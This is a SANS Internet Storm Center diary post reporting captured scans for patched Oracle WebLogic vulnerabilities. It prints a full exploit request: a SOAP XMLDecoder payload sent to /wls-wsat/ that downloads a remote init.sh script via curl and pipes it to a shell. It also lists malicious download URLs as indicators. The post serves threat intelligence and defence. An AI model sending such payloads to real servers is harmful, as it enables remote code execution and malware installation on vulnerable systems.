Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Scanning for Previous Oracle WebLogic Vulnerabilities SANS ISC InfoSec Forums

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Scanning for Previous Oracle WebLogic Vulnerabilities

In the past few weeks, I have captured multiple instance of traffic related to some past Oracle vulnerabilities that have already been patched. The first is related to a RCE (CVE-2017-10271) that can be triggered to execute commands remotely by bypassing the CVE-2017-3506 patch's limitations. The POST contains an init.sh script which doesn't appear to be available for download.

The second example is a vulnerability in the Oracle WebLogic Server component related to a Deserialization Vulnerability (CVE-2019-2725).

Traffic Examples

20210929-120748: 192.168.25.9:7001-47.106.191.51:36562 data
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: XX.XX.42.114:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
Content-Length: 611
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cur -fsSL http://45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh |sh</string> </void> </array> <void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

20211007-185800: 192.168.25.9:7001-185.128.41.50:39004 data
POST /_async/AsyncResponseService HTTP/1.1
SOAPAction:
Content-type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Content-Length: 1028
Cache-Control: no-cache
Pragma: no-cache
Host: XX.XX.42.114:7001

Indicators -> /wls-wsat/

45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh
45.9.148.37/cf67356a3333e6999999999/init.sh
185.181.10.234/E5DB0E07C3D7BE80V520/init.sh
helpdeskserver.epelcdn.com/dd210131/init.sh
startbinmanager.epelcdn.com/dd09162/init.sh

[1] https://github.com/s0wr0b1ndef/Oracle-WebLogic-WLS-WSAT
[2] https://www.acunetix.com/vulnerabilities/web/oracle-weblogic-wls-wsat-component-deserialization-rce/
[3] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[4] https://nvd.nist.gov/vuln/detail/CVE-2017-10271
[5] https://nvd.nist.gov/vuln/detail/CVE-2019-2725
[6] https://nvd.nist.gov/vuln/detail/CVE-2019-2729
[7] https://isc.sans.edu/forums/diary/Update+about+Weblogic+CVE20192725+Exploits+Used+in+the+Wild+Patch+Status/24890
[8] https://isc.sans.edu/forums/diary/Unpatched+Vulnerability+Alert+WebLogic+Zero+Day/24880/
[9] https://isc.sans.edu/forums/diary/Cryptojacking+Targeting+WebLogic+TCP7001/26768

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Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Guy

508 Posts
ISC Handler
Oct 9th 2021

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